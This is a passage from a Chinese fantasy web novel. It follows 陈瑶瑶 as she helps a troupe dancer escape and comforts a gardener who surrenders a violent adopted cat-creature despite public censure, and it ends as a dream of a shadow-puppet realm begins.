她拉着陈瑶瑶的手,絮絮叨叨说个不停,说今天的鱼灯是她亲手扎的,说今天的音乐是团长新编的,说她练这个舞练了三个月,每天练到半夜。
陈瑶瑶听着,忽然觉得心里很暖。
这就是朋友的感觉吗?
陈瑶瑶回到住处的时候,已经很晚了。
云河抱着发财,坐在窗边,看着外面的月亮。
发财趴在她怀里,睡得直打呼噜。
陈瑶瑶轻手轻脚走进去,小声说:“我回来了。”
云河转头看她,目光在她脸上停了一瞬。
“开心吗?”她问。
陈瑶瑶愣了一下,然后点头。
云河嘴角弯了弯,那笑容很淡,却很真:“那就好。”
她站起来,把发财轻轻放进陈瑶瑶怀里,说:“我要闭关几天。”
陈瑶瑶:“闭关?”
云河点头:“炼骨境留下的旧伤,需要调理一下。这几天你……自己玩吧。”
她顿了顿,又说:“别惹事。”
陈瑶瑶赶紧点头:“不惹事不惹事!我就在城里逛逛,不乱跑!”
云河看着她,目光里有一丝说不清的东西——像是放心,又像是不放心。
最后她只是说:“有事就喊我。”
然后她走进里屋,关上了门。
陈瑶瑶抱着发财,站在原地,愣了一会儿。
发财在她怀里翻了个身,继续睡。
陈瑶瑶低头看着它,忽然笑了。
“发财,”她小声说,“我们交到朋友了。”
发财没理她,睡得正香。
接下来的几天,陈瑶瑶天天跟着芽衣玩。
芽衣带她去看展。
展厅里挂满了画,山水、花鸟、人物,每一幅都像是活的。芽衣站在一幅画前,看了很久很久,久到陈瑶瑶忍不住问:“你喜欢这幅?”
芽衣点头,眼睛亮亮的:“我喜欢这种慢慢的感觉。你看这山,这水,这树,每一笔都画得很慢,很细,像是在跟画说话。我也想这样,慢慢来,慢慢看,慢慢活。”
陈瑶瑶听着,心里忽然有些触动。
芽衣带她去逛街。
街上什么都有,卖吃的、卖玩的、卖穿的、卖戴的。芽衣拉着她挤进人群,买了两串糖葫芦,一人一串,边走边吃。糖又甜又酸,黏在牙上,两人相视大笑。
芽衣带她去吃美食。
一家小店,藏在巷子深处,卖的是最普通的阳春面。芽衣说这是她最喜欢吃的面,每次偷偷跑出来,就来这里吃一碗。面很清淡,汤很鲜,上面飘着几片葱花。陈瑶瑶吃了一口,忽然想起德德镇的那些日子,那些难以下咽的野菜汤。
“好吃吗?”芽衣问。
陈瑶瑶点头,用力点头。
芽衣笑了,低头继续吃面。
芽衣带她去游船。
小船在湖上慢慢漂,两岸是垂柳和灯火。芽衣躺在船头,看着天上的星星,忽然问:“瑶瑶,你从哪儿来?”
陈瑶瑶想了想,说:“一个很远的地方。”
芽衣:“那里是什么样的?”
陈瑶瑶沉默了一会儿,才说:“很偏僻,很穷,什么都没有。人们活着,但不像是在活。”
芽衣转头看她,眼睛里有光在闪。
“那你为什么要离开?”
陈瑶瑶想了想,说:“因为我不想那样活。”
芽衣看着她,很久很久。
然后她笑了,那笑容比星星还亮。
“你真勇敢。”她说。
渐渐地,陈瑶瑶了解了芽衣的身世。
她十三岁就被卖到团里了。
那一年,她爹死了,娘改嫁了,没人要她。团里收留了她,给她吃,给她穿,教她跳舞。她感激团长,感激团里的每一个人。但她不喜欢跳舞。
“不喜欢?”陈瑶瑶惊讶,“可你跳得那么好!”
芽衣苦笑:“跳得好,不代表喜欢。我练了十年,每天从早练到晚,练到骨头都疼。我不喜欢跳舞,但我没有别的活法。”
陈瑶瑶沉默了。
芽衣继续说:“我们团里,所有人都是这样。没有家,没有亲人,没有别的地方可去。团长是我们的天,是我们的地,是我们的一切。他说什么,我们就做什么。他不让出门,我们就不出门。他不让交朋友,我们就不交朋友。”
陈瑶瑶:“他为什么不让你交朋友?”
芽衣:“怕我们跑了。”
她顿了顿,轻声说:“他说的没错。如果我有别的地方可去,我早就跑了。”
陈瑶瑶看着她,心里忽然很酸。
芽衣笑了笑,那笑容有些苦:“你知道吗,我长这么大,没见过外面的世界。雪山、大海、沙漠、草原,我只在画里见过。我想去看看,但我出不去。”
陈瑶瑶握住她的手。
芽衣反握住她,握得很紧。
“瑶瑶,”她说,“你真勇敢。那么偏僻的地方,你都有勇气离开。我也想勇敢一次。”
陈瑶瑶看着她,认真地说:“你可以的。”
芽衣笑了,那笑容里有光。
那天晚上,芽衣被团长发现了。
她偷偷跑出来和陈瑶瑶玩,被团里的师姐看见了,告到了团长那里。
团长把她叫去,骂了一顿。
骂得很凶。
“你知不知道你是领舞?你知不知道多少人盯着你?你知不知道你这样跑出去,会给团里惹多大的麻烦?”
芽衣低着头,不说话。
团长骂够了,让她回去睡觉。
芽衣回到房间,躺在床上,看着天花板,忽然笑了。
她想起陈瑶瑶说的话。
“你可以的。”
她可以的。
她可以的。
第二天,芽衣来找陈瑶瑶。
“瑶瑶,”她说,“我想离开。”
陈瑶瑶看着她,认真地问:“你想好了吗?”
芽衣点头:“我想好了。我不想跳舞,我想慢慢活。我想找个地方,看看书,爬爬山,做点自己喜欢的事。”
陈瑶瑶:“可是你离开团里,怎么生活?”
芽衣想了想,说:“我可以自己赚钱。”
陈瑶瑶:“怎么赚?”
芽衣笑了,那笑容里有狡黠:“我会跳舞啊。我不跟团里跳,我自己跳。”
从那以后,芽衣开始偷偷接私活。
有人办喜事,她去跳一场。有人开店铺,她去跳一场。有人过寿辰,她去跳一场。一场一百,两场两百,一个月下来,她攒了一千二百文。
够活一周了。
她把那些铜钱捧在手里,看了又看,眼睛亮得惊人。
“瑶瑶,”她说,“你看,我可以自己赚钱了。”
陈瑶瑶看着那些铜钱,看着芽衣脸上的笑,心里又酸又暖。
变故发生在半个月后。
那天,团长正在接待一个老主顾。
那主顾怒气冲冲,进门就骂:“老陈,你不厚道!”
团长一愣:“怎么了?”
主顾:“你
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不是说你们家节目独一无二吗?传承百年,无人可模仿!可前些天,我哥们结婚,请了个鱼灯节目,跳得跟你们一模一样,价格比我便宜三倍!”
团长脸色变了。
主顾继续骂:“好歹我们也合作这么多年,没你这么杀熟的?”
团长安抚了半天,才把人送走。
然后他关上门,脸色铁青。
“查!”他说,“给我查!谁在外面接私活!”
很快就查到了芽衣头上。
团长把她叫去,关上门,狠狠打了她一巴掌。
“我养了你十年!”他吼,“给你吃,给你穿,教你跳舞!你就这么报答我?”
芽衣捂着脸,看着他,没有说话。
团长又骂了很多,骂她忘恩负义,骂她不知好歹,骂她翅膀硬了想飞。
芽衣听着,忽然笑了。
团长愣住了:“你笑什么?”
芽衣说:“团长,你打我一巴掌,我不疼。”
团长脸色铁青。
芽衣继续说:“你知道为什么不疼吗?因为我兴奋。我这一巴掌,证明我真的能威胁到你了。我跳的舞,有人愿意花钱看。我这个人,离了团里也能活。”
团长气得浑身发抖,把她关进了小屋。
小屋里很暗,只有一扇小小的窗户,透进来一点光。
芽衣坐在角落里,看着那点光,嘴角还带着笑。
门开了,一个人影闪进来。
是咣当,团里比她小一岁的姑娘,平时最黏她。
咣当蹲在她面前,小声说:“芽衣姐,你别再激怒团长了。他其实都是为了我们好,如果没有他,我们早饿死了。”
芽衣看着她,忽然问:“咣当,你见过雪吗?”
咣当愣住了。
芽衣继续说:“你见过皑皑白雪吗?爬过世界最高的山吗?去过最脱离尘世的地方吗?”
咣当张了张嘴,说不出话。
芽衣笑了,那笑容有些悲:“你什么都没见过,凭什么要求我必须和你一样,接受这种煎熬呢?”
咣当低下头,不说话。
芽衣握住她的手,轻声说:“咣当,你是我最好的妹妹。但我得走了。”
咣当抬起头,眼眶红了。
芽衣擦掉她的眼泪,笑着说:“别哭。等我安定下来,给你写信。”
芽衣逃走的那天,团里正乱成一团。
几个师姐争风吃醋,为了一件演出服吵得不可开交。团长忙着调解,顾不上别的。
芽衣趁乱溜出来,跑过小巷,跑过街角,跑到和陈瑶瑶约定的地方。
陈瑶瑶抱着发财,站在那里等她。
看见她,陈瑶瑶笑了。
芽衣也笑了。
她们没有说话,只是互相看着,看着,然后一起笑出声来。
发财“汪”了一声,尾巴摇成螺旋桨。
芽衣蹲下来,摸了摸它的脑袋:“发财,以后多多关照啦。”
发财舔了舔她的手。
芽衣站起来,深吸一口气。
“走吧。”她说。
陈瑶瑶点头,带着她往城外走去。
身后,那座城越来越远,那些鱼灯越来越暗,那些年的记忆越来越淡。
芽衣没有回头。
但她知道,她会回来的。
等她想回来的时候。
云河闭关出来的时候,发现陈瑶瑶带回来一个人。
她看着芽衣,芽衣看着她,两人对视了一瞬。
云河问:“这是?”
陈瑶瑶赶紧介绍:“这是芽衣,我的朋友。她想离开原来的地方,我就带她一起走了。”
云河沉默了一会儿,然后点了点头。
“会跳舞吗?”她问。
芽衣一愣,然后点头:“会。”
云河:“跳一个看看。”
芽衣看了看陈瑶瑶,陈瑶瑶对她点点头。
她深吸一口气,在原地跳了起来。
没有音乐,没有灯光,没有鱼灯。只有她的身体在动,只有她的彩带在飘,只有她的影子在地上旋转。
云河看着,看着,忽然嘴角弯了弯。
“还行。”她说。
芽衣停下来,喘着气,看着她。
云河转身,往前走,头也不回地说:“跟上吧。”
芽衣愣住了。
陈瑶瑶推了推她:“走啊!她同意了!”
芽衣这才回过神来,赶紧跟上。
发财跟在她脚边,尾巴摇得很欢。
那天夜里,她们在一个小镇上落脚。
芽衣坐在客栈的窗前,看着外面的月亮,看了很久很久。
陈瑶瑶走过去,在她身边坐下。
“在想什么?”她问。
芽衣说:“在想明天。”
陈瑶瑶:“明天怎么了?”
芽衣笑了,那笑容干净得像月光:“明天不用练功了。明天可以想去哪儿就去哪儿。明天可以慢慢活。”
陈瑶瑶看着她,也笑了。
她们并肩坐着,看着月亮,谁也没说话。
发财趴在她们脚边,睡得直打呼噜。
远处传来几声狗叫,又归于寂静。
芽衣忽然说:“瑶瑶,谢谢你。”
陈瑶瑶转头看她。
芽衣认真地说:“谢谢你带我出来。”
陈瑶瑶愣了一下,然后笑了。
“不用谢。”她说,“我也有人带过我。”
芽衣:“谁?”
陈瑶瑶指了指隔壁房间。
芽衣顺着看去,看见那扇紧闭的门,和门缝里透出来的一线光。
她忽然明白了。
每个人,都曾是被人带出来的那个人。
然后,再去带别人。
很多年后,有人问起芽衣的经历。
她说她曾经是一个鱼灯舞者,跳了十年,不喜欢。
后来她遇见了一个叫陈瑶瑶的姑娘,把她带出了那座城。
她去了很多地方,看了雪山、大海、沙漠、草原。
她找了一个安静的小镇,住了下来,每天看看书,爬爬山,慢慢活。
她偶尔还会跳舞,但不为了任何人,只为了自己。
她说,这是她最喜欢的生活。
她还说,她永远记得那个元宵节,那些鱼灯,那个叫瑶瑶的姑娘。
和那只叫发财的狗。
16. 安可居
龙赫赫这辈子最后悔的事,就是那天多看了那只幼崽一眼。
其实也不能怪她。谁路过那个破筐子,看见里面缩着一团毛茸茸的东西,能忍住不看第二眼?
她看了。
然后就走不动道了。
那团毛茸茸只有巴掌大,浑身湿漉漉的,闭着眼睛,蜷成一小团,像一只被遗弃的脏抹布。它的一只眼睛是坏的,眼皮耷拉着,露出里面浑浊的灰白色。另一只眼睛紧紧闭着,眼缝里渗着脓水。
龙赫赫蹲在筐边,看了很久。
她想走。
但她走不了。
因为那只坏眼睛忽然睁开了一条缝,里面那一丁点儿光,正好落在她脸上。
然后那团毛茸茸动了动,发出了一声极轻极细的——
“咪。”
龙赫赫的心,被这一声叫得稀碎。
她伸手,把那团毛茸茸捧起来。
幼崽很轻,轻得像一团棉花。它的毛黏成一缕一缕的,身上有好几处伤口,有的结了痂,有的还在渗血。它在她手心里缩了缩,又“咪”了一声,这回声音更小了,像是在试探,又像是在乞求。
龙赫赫看着它,叹了口气。
“行吧。”她说,“你命大,遇上我了。”
她把幼崽揣进怀里,带回了家。
龙赫赫住在花境边缘的一座小院里。
花境以花为美,家家户户都种花,连房顶上都爬满了藤蔓。龙赫赫是个花匠,靠给人修整花园、培育花苗为生。活儿不多,但够活。
她已经养了两只种人了。
一只是老黄,一条老狗,年轻时被主人遗弃,龙赫赫捡回来养了八年,现在老得走不动路,整天趴在院子里晒太阳。
一只是小白,一只白兔,被人从笼子里扔出来时还是只幼崽,现在长大了,整天蹦来蹦去,给龙赫赫惹了不少麻烦。
加上这只新来的,三只了。
老黄和小白对新来的很好奇,凑过来闻了闻。新来的幼崽缩成一团,发出细小的“嘶嘶”声,像是在威胁,又像是在害怕。
龙赫赫把它放在一个铺了旧棉袄的筐里,拿温水给它擦了擦身子,又找了些药粉敷在伤口上。幼崽全程缩成一团,浑身发抖,但没有咬她。
龙赫赫想,这狗东西,还挺乖。
她给它取名叫小咪。
因为它到底是猫还是狐狸,她实在分不清。
小咪长得很慢。
一个月过去了,它还是巴掌大。两个月过去了,它还是巴掌大。三个月过去了,它终于长大了一圈,变成两个巴掌大。
龙赫赫挺高兴,觉得这是自己养得好。
但小咪的脾气,也开始长了。
它开始挠人。
一开始是挠老黄。老黄趴着睡觉,它悄没声地凑过去,一爪子挠在老黄鼻子上。老黄惊醒,吼了一声,它已经窜到房梁上去了。
后来是挠小白。小白蹦蹦跳跳经过,它一爪子拍过去,把小白拍得翻了两个跟头。小白爬起来跑了,它蹲在原地,舔自己的爪子,像是干了一件了不起的事。
再后来,是挠龙赫赫。
龙赫赫给它喂食,它吃完了,抬头看看她,然后一爪子挠在她手背上。
三道血痕。
龙赫赫疼得倒吸一口凉气,低头看手背,血珠子渗出来。
小咪蹲在食盆边,舔着嘴,看都不看她。
龙赫赫忍了。
她想,它还小,不懂事。长大了就好了。
小咪越长越大。
半年后,它已经从巴掌大长到了一尺长。毛色也显出来了——乌黑乌黑的,没有一根杂毛。眼睛一只好的一只坏的,好的那只在夜里会发光,绿的,幽幽的,像两盏小灯笼。
龙赫赫终于确定了。
这是只猫。
黑猫。
但小咪的脾气,也越发暴躁了。
它开始拆家。
抓窗帘,挠门框,咬桌腿。龙赫赫每天早上起来,都能看见一地的碎布条、木头屑。她的小院,像是遭了贼。
它开始夜嚎。
白天睡大觉,晚上精神了,蹲在房梁上,对着月亮嚎。那声音又尖又细,像婴儿哭,又像什么东西在惨叫。邻居们来找过几次,龙赫赫赔了不知道多少不是。
它开始攻击。
老黄被它挠得不敢出院门,小白被它追得满院跑。龙赫赫喂食的时候,必须小心翼翼,动作稍微大一点,它就炸毛,发出“嘶嘶”的威胁声。
龙赫赫的手上、胳膊上,添了一道又一道的抓痕。
有的深,有的浅,有的结了痂,有的还在疼。
她有时候坐在院子里,看着自己那双手,心里忽然有点空。
她想,我到底做错了什么?
小咪一岁的时候,发生了一件事。
那天早上,龙赫赫照常去喂食。
她端着食盆,小心翼翼地走近。小咪蹲在墙角,看着她,那只好的眼睛眯成一条缝。
龙赫赫把食盆放下,后退一步。
小咪没动。
龙赫赫又后退一步。
小咪还是没动。
龙赫赫松了口气,转身去拿水盆。
就在这时,她感觉身后一阵风。
还没来得及回头,小臂一阵剧痛——
小咪咬住了她。
牙齿深深嵌入肉里,疼得她眼泪瞬间飙出来。她拼命甩手,想把它甩开,但它咬得更紧了,喉咙里发出“呜呜”的低吼。
龙赫赫用另一只手去打它,一下,两下,三下。
它终于松口了。
落在地上,舔了舔嘴,若无其事地走到食盆边,开始吃东西。
龙赫赫低头看自己的小臂。
一块肉被撕下来了。
血往外涌,止都止不住。
她用另一只手按住伤口,蹲在地上,疼得浑身发抖。
小咪吃完了,舔了舔爪子,抬头看了她一眼。
那眼神里,什么都没有。
没有愧疚,没有害怕,没有关心。
什么都没有。
就像她只是一个会送饭的东西,和那个食盆没有区别。
龙赫赫看着那个眼神,忽然觉得心凉了。
那天夜里,龙赫赫坐在院子里,对着月亮发呆。
老黄趴在她脚边,安静地陪着她。小白也难得安静下来,蜷在她腿边,一动不动。
龙赫赫看着自己的手,那道伤口还在疼,纱布上渗出淡淡的红。
她忽然很想问问谁。
问问谁,她到底该怎么办。
但她不知道问谁。
邻居们只会说闲话。王夫人只会站在高处指指点点。安可居的胡老板说得对,但帮不了她。
她抬头看着月亮,轻声说:“有没有人能告诉我,我到底做错了什么?”
没有人回答。
只有风,轻轻吹过。
就在这时,她听见一个声音。
很轻,很淡,像是从很远的地方传来,又像是就在耳边——
“你没有做错什么。”
龙赫赫猛地回头。
院子里不知什么时候多了两个人。
一个清冷如霜的女子,抱着胳膊站在墙边,月光照在她身上,像一尊不会动的玉雕。
一个抱着奶黄色小兽的姑娘,正看着她,眼睛里有关切。
龙赫赫愣住了:“你们是谁?”
那个抱狗的姑娘往前走了两步,小声说:“我叫陈瑶瑶。她是云河。我们……听见了你的声音。”
龙赫赫:“我的声音?”
陈瑶瑶点头:“你在求救。”
龙赫赫张了张嘴,想说自己没有求救。
但话到嘴边,她忽然说不出来了。
因为她确实在求救。
在心里,在没人看见的地方,对着月亮,对着风,对着虚无,求救。
云河走过来,在她身边坐下。
她看着龙赫赫,目光平静得像一潭深水。
“你想许什么愿?”她问。
龙赫赫愣住了。
许愿?
她从来没想过这个问题。
她只是想让小咪变乖一点,让日子好过一点,让别人别再说她闲话。
但这些,算是愿望吗?
云河看着她,忽然说:“你想的,我都听见了。”
龙赫赫心头一震。
云河继续说:“你养了它一年,花了所有积蓄,受了一身伤。你想让它认你,但它不认。你想让别人理解你,但他们不理解。你不知道该怎么办。”
龙赫赫的眼泪,忽然掉下来。
她低下头,拼命忍住,但忍不住。
云河没有安慰她,只是静静坐着。
很久很久,她才开口:“我没有办法让那只猫认你。也没有办法让那些人闭嘴。”
龙赫赫抬起头,看着她。
云河也看着她,目光里有光在闪:“但我可以告诉你,你已经做得很好了。”
龙赫赫愣住了。
云河说:“你尽力了。这就是最好的。”
龙赫赫看着她,眼泪止不住地流。
发财从陈瑶瑶怀里跳下来,颠颠地跑过来,蹭了蹭她的腿。
龙赫赫低头看着它,忽然笑了。
那笑容里有眼泪,但也有光。
“谢谢。”她轻声说。
云河没说话,只是点了点头。
月光照在她们身上,很亮,很暖。
龙赫赫带着伤,去了安可居。
安可居是花境唯一一家收留种人的机构,据说背后有大人物撑着,专门收那些被遗弃的、无处可去的种人。龙赫赫听说过很多次,但从没去过。
这次她去了。
安可居的老板是个留着拉杂胡子的中年男人,姓胡,大家都叫他胡老板。他看见龙赫赫胳膊上的伤,又听她说了小咪的事,扯了扯嘴角。
“我收不了。”他说。
龙赫赫愣住了:“为什么?”
胡老板指了指墙上的牌子,上面写着:“收留条件:身体健康,性情温顺,可与人共处。”
“你这只,一条都不符合。”他说,“我这是种人机构,不是垃圾回收站。”
龙赫赫张了张嘴,想说什么,又说不出来。
胡老板看着她,叹了口气:“姑娘,我知道你心好。但心好不能当饭吃。你这只种人,从小没人教,野惯了,已经养不熟了。你硬养下去,吃亏的是你自己。”
龙赫赫低下头,不说话。
胡老板拍了拍她的肩,转身走了。
龙赫赫又去找王夫人。
王夫人是花境最有钱的富豪,住着最大的院子,种着最名贵的花。她一直很欣赏龙赫赫的善良,每个月都会让人送些吃食过来,帮衬着养小咪。
龙赫赫把安可居的事说了。
王夫人捂着嘴,皱起眉头:“哦咦这么野?那我给你准备个防护衣吧。”
龙赫赫苦笑:“我有防护的。可是不能全天都穿着厚重的防护啊。它不认人,我总要吃饭,总要干活。”
王夫人眨眨眼:“什么意识?你不会不打算管它了吧?”
龙赫赫心里一凉,但还是耐着性子解释:“我养了它快一年了。从巴掌大养到现在一米长,它已经成年了。总不能还要我像照顾宝宝一样照顾它一辈子吧?我要工作的,不然大家都会饿死的。”
王夫人收起笑容,叹了口气。
“它什么都不懂。”她说,“当初救回来就是神迹了。你当初接受它,现在又要放弃,是不是太不负责了?”
龙赫赫悬着的心,死了。
她沉默了很久,才开口:“我所有的积蓄,都给它置办吃穿用度了。为了照顾它,这一年我都没怎么工作。我还要怎么负责呢?”
她顿了顿,抬起头,看着王夫人:“种人我以前也养过,没有哪只像它这么凶的。我对它问心无愧。你如果看不惯,那它给你养?”
王夫人的脸色变了。
“你怎么这么说话?”她提高声音,“我可是在一直帮助你!”
龙赫赫低下头,没说话。
两人不欢而散。
陈瑶瑶听得拳头都攥紧了。
她们到花境已经三天了,住的地方离龙赫赫不远。发财天天往外跑,一来二去就认识了龙赫赫,也认识了那只叫小咪的黑猫。
那天龙赫赫来找她们说话,说着说着,眼眶就红了。
陈瑶瑶忍不住问:“那个王夫人,她自己养过种人吗?”
龙赫赫摇头:“没有。她家里有佣人伺候,用不着自己养。”
陈瑶瑶气笑了:“那她凭什么说你?”
龙赫赫苦笑:“她说她是在帮助我。”
陈瑶瑶:“帮什么?动动嘴皮子就是帮?粮食是她出的吗?伤是她受的吗?觉是她睡不着的吗?”
龙赫赫低着头,没说话。
陈瑶瑶看着她,心里忽然很酸。
这个姑娘,比她还小两岁,瘦瘦小小的,手上全是抓痕。她养了那只猫一年,喂它、给它治病、收拾它的烂摊子,结果被咬下一块肉,还要被人指着鼻子骂不负责。
陈瑶瑶忍不住说:“你不要听别人的。它们就知道出一张嘴,事一点不做。你已经做了很多了。”
龙赫赫抬起头,看着她。
陈瑶瑶认真地说:“它实在养不熟,不如联系安乐居,直接送它返还原始状态好了。”
龙赫赫愣了一下:“可是……它好不容易才活下来……”
陈瑶瑶:“那就送回它的种群。不是所有的人种都能与人和谐共处的。你尽力了,剩下的,不归你管。”
龙赫赫看着她,很久很久。
然后她低下头,轻轻点了点头。
那天夜里,发财忽然哼哼唧唧地在陈瑶瑶脚边来回蹭。
陈瑶瑶低头看它:“怎么了?”
发财仰着头,眼睛亮亮的,尾巴摇得像螺旋桨。
陈瑶瑶不明所以,抬头看向云河。
云河抱着胳膊,站在窗边,看着外面。月光照在她脸上,看不出表情。
龙赫赫也顺着看过去,看见发财那黏糊糊的样子,眼里忽然露出羡慕的光。
“它好黏你啊。”她轻声说,“小咪从没对我有过好脸色。”
陈瑶瑶不知道该说什么。
龙赫赫笑了笑,那笑容有些苦:“没事。我知道的。”
她站起来,往外走。
走到门口,她回过头,轻声说:“谢谢你们听我说这些。明天……明天我就去联系。”
她走了。
陈瑶瑶站在原地,看着她的背影消失在夜色里,心里堵得慌。
发财蹭了蹭她的腿。
陈瑶瑶低头,看着它,忽然蹲下来,把它抱进怀里。
“发财,”她小声说,“还好你黏人。”
发财舔了舔她的手。
第二天,事情传开了。
不知道是谁走漏了风声,整个花境都在议论龙赫赫要把小咪送走的事。
陈瑶瑶出门买菜的时候,听见几个大婶凑在一起,说得唾沫横飞。
“听说了吗?龙家那个姑娘,要把那只种人猫送走!”
“真的假的?养了一年多,说不要就不要了?”
“可不是嘛!我早就说她不行,当初就不该捡回来。捡回来又不负责,这不是害人家吗?
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“就是就是!要我说,这种人最缺德了。你要是不想养,当初就别捡。捡了又扔,算什么?”
陈瑶瑶忍不住走过去,问了一句:“你们知道她为什么想送走吗?”
那几个大婶转过头,看着这个陌生人,眼神里带着打量。
“为什么?不负责呗!”
“就是!养了一年多,说送走就送走,一点感情都没有!”
陈瑶瑶深吸一口气:“她被那只猫咬掉了一块肉。手臂上现在还有疤。”
大婶们愣了一下。
然后有人撇嘴:“那又怎么样?种人嘛,不懂事很正常。你养它,就得包容它。它咬你,你就教它,哪有直接扔了的?”
“就是!我家那只小狗,小时候也咬人,咬得我满手是血。我扔了吗?没有!我教它!现在乖得很!”
陈瑶瑶气得发抖:“那是狗。种人能和狗比吗?”
大婶们对视一眼,眼神里闪过一丝不自在,但嘴还是硬的:“怎么不能比?都是畜生,都靠人养着。你养它,它就是你责任。你扔它,你就是不负责!”
陈瑶瑶还想说什么,那几个大婶已经转身走了,边走边嘀咕。
“外来的,不懂我们这儿的规矩。”
“就是,指手画脚的,烦不烦?”
陈瑶瑶站在原地,攥紧拳头。
发财从她怀里探出脑袋,对着那几个大婶的背影“汪”了一声。
龙赫赫回到家的时候,门口已经围了一圈人。
有人举着牌子,上面写着“善待种人,拒绝遗弃”。有人对着她指指点点,嘴里骂着什么。有人拿出瓜子在吃,边吃边看热闹。
龙赫赫站在人群外面,看着这一切,忽然觉得很累。
她转身,想走。
但有人看见她了。
“哎!那不是龙赫赫吗!”
人群哗啦啦围过来,把她堵在中间。
“龙赫赫,你真的要把那只种人猫送走?”
“你是不是人啊?养了一年多,说不要就不要?”
“你知道它离开你会怎么样吗?它会死的!”
龙赫赫张了张嘴,想解释。
但那些人根本不听她说话,七嘴八舌地骂着,口水都快喷到她脸上了。
“我早就看出来了,你不是个有责任心的!”
“就是!当初捡它回来,就是为了显摆自己善良吧?现在显摆够了,就扔了?”
“龙赫赫,你摸摸自己的良心!”
龙赫赫站在那里,听着那些话,一句也反驳不出来。
她想说,我养了它一年,花了所有积蓄。
她想说,它咬我,挠我,从不认我。
她想说,我尽力了。
但她说不出来。
因为没人听。
人群外,陈瑶瑶抱着发财,挤不进去。
云河站在她身后,看着这一幕,忽然开口。
“它不认主。”
声音不大,但很清晰。
人群安静了一瞬,转过头来看着她。
云河站在那里,清冷如霜,一字一句地说:“那只种人猫,不认主。龙赫赫养了它一年,它从不认她。它把她当喂食的,不是当主人。”
有人愣了一下,但很快有人反驳:“你谁啊?你懂什么?”
“就是!你怎么知道它不认主?”
云河没说话,只是抬手指了指人群外面。
众人顺着看去——
小咪蹲在不远处的墙头上,看着这边。
它蹲在那里,一动不动,眼睛眯着。那只好的眼睛在阳光下闪着绿光,坏的耷拉着,看不出表情。
龙赫赫看见它,下意识往前走了一步。
小咪忽然炸毛,发出“嘶嘶”的声音,弓起背,尾巴竖得老高。
龙赫赫停下脚步,看着它。
小咪又“嘶”了一声,转身跳下墙头,跑了。
跑得头也不回。
人群安静了。
云河看着那些人,淡淡开口:“这就是它认主的样子。”
没人说话。
过了很久,才有人小声嘀咕:“那……那也不能扔啊。毕竟是条命……”
但声音小了很多,底气也虚了很多。
人群渐渐散了。
龙赫赫站在原地,看着小咪消失的方向,一动不动。
陈瑶瑶走过去,轻轻拍了拍她的肩。
龙赫赫回过头,看着她,忽然笑了。
那笑容里,有眼泪。
“我真的尽力了。”她说。
陈瑶瑶点头:“我知道。”
那天傍晚,龙赫赫去了安可居。
胡老板看见她,没说话,只是叹了口气。
“想好了?”他问。
龙赫赫点头。
胡老板拿出一张纸,递给她。
“签了吧。”
龙赫赫低头看那张纸,上面写着“种人返还原始状态申请”。密密麻麻的字,她一个也看不进去。
她拿起笔,签了。
胡老板收起纸,看着她,忽然说:“姑娘,你是我见过的最心善的人。”
龙赫赫愣了一下。
胡老板继续说:“心善的人,容易被人欺负。因为你心善,所以别人觉得你应该做更多,应该付出更多,应该忍着。你不忍了,就是你的错。”
他顿了顿,轻声说:“但心善不是错。错的是那些站着说话不腰疼的人。”
龙赫赫看着他,眼眶有些发热。
胡老板摆了摆手:“走吧。那只猫,我派人去收。”
龙赫赫点点头,转身往外走。
走到门口,她忽然回头。
“胡老板,”她说,“谢谢您。”
胡老板没说话,只是点了点头。
三天后,小咪被安可居的人带走了。
龙赫赫没有去看。
她坐在院子里,老黄趴在她脚边晒太阳,小白在她身边蹦来蹦去。阳光很好,暖洋洋的。
陈瑶瑶抱着发财,坐在她旁边。
发财从她怀里跳下来,跑去追小白。小白蹦得更欢了,两只在院子里你追我赶,闹成一团。
龙赫赫看着它们,忽然笑了。
“原来种人也可以这么活泼。”她说。
陈瑶瑶看着她,没说话。
龙赫赫转过头,认真地说:“瑶瑶,谢谢你。”
陈瑶瑶愣了一下:“谢我什么?”
龙赫赫说:“谢谢你告诉我,尽力了就够了。”
陈瑶瑶看着她,忽然不知道该说什么。
云河从屋里走出来,站在她们身后。
她看着院子里那两只闹腾的小东西,又看看龙赫赫,忽然开口。
“以后,还会养吗?”
龙赫赫想了想,笑了。
“养。”她说,“但只养老黄和小白这样的。”
云河嘴角弯了弯,没说话。
阳光照在她们身上,暖洋洋的。
发财跑累了,颠颠地跑回来,一头扎进陈瑶瑶怀里。
陈瑶瑶抱住它,低头看它,小声说:“发财,你真好。”
发财舔了舔她的手,尾巴摇得欢快。
远处,安可居的方向,传来一声极轻极细的——
“咪。”
龙赫赫抬起头,看向那个方向。
她想起那天夜里,对着月亮说的那句话。
“有没有人能告诉我,我到底做错了什么?”
有人听见了。
有人告诉她,她没有错。
她收回目光,继续晒太阳。
阳光很好。
和那天夜里一样好。
17. 皮影境
陈瑶瑶不知道自己是什么时候睡着的。
只记得睡前在翻云河那本破旧的册子,上面记着各种境的名称和特点,字迹歪歪扭扭,有的还被发财啃过一角。翻着翻着,眼皮就沉了。
然后她开始做梦。
梦里一片漆黑,什么都没有。她往前走,走啊走,走到腿都酸了,还是什么都没有。
她想喊云河,喊不出声。
想喊发财,也喊不出声。
就在这时,前方亮起一点光。
昏黄的,摇曳的,像油灯的光。
她朝那光走去,越走越近,渐渐看清了——那是一盏灯,挂在门楣上。门是旧木门,刷着褪色的红漆,门楣上雕着花纹,看不清是什么。
她推开门。
里面是一个戏台。
戏台上挂着无数皮影,密密麻麻,排成一排又一排。男女老少都有,穿着各色衣裳,姿态各异——有的在唱戏,有的在跳舞,有的在哭泣,有的在笑。每一个都雕得精细,眉眼传神,像是活人。
但没有人。
台下也没有观众。
只有那些皮影,挂在那里,一动不动。
陈瑶瑶站在门口,愣愣地看着这一切。
太安静了。
安静得能听见自己的心跳。
她试着开口:“有人吗?”
没有回应。
她又喊了一声:“有人吗?”
还是没有人。
只有那些皮影,静静地挂在那里,看着她。
陈瑶瑶心里发毛,想转身离开。
但她发现自己的腿不听使唤了。
低头一看——她的腿还在,能走。但有什么东西不对劲。
她说不清是什么。
只是觉得……自己好像变薄了一点。
陈瑶瑶在皮影境里走了很久很久。
不知道过了多久,可能是几个时辰,可能是几天,可能是几个月。这里没有白天黑夜,只有那盏昏黄的灯,永远亮着,永远不灭。
她走过一条又一条街,推开一扇又一扇门,看见一个又一个戏台。
每一个戏台上都挂着皮影。
男的女的老的少的,穿金戴银的衣衫褴褛的,唱戏的跳舞的哭泣的笑的。
唯独没有活人。
她想喊,喊不出声。想哭,哭不出来。
只能走。
走啊走。
走到后来,她忽然发现一件事——
她的手变扁了。
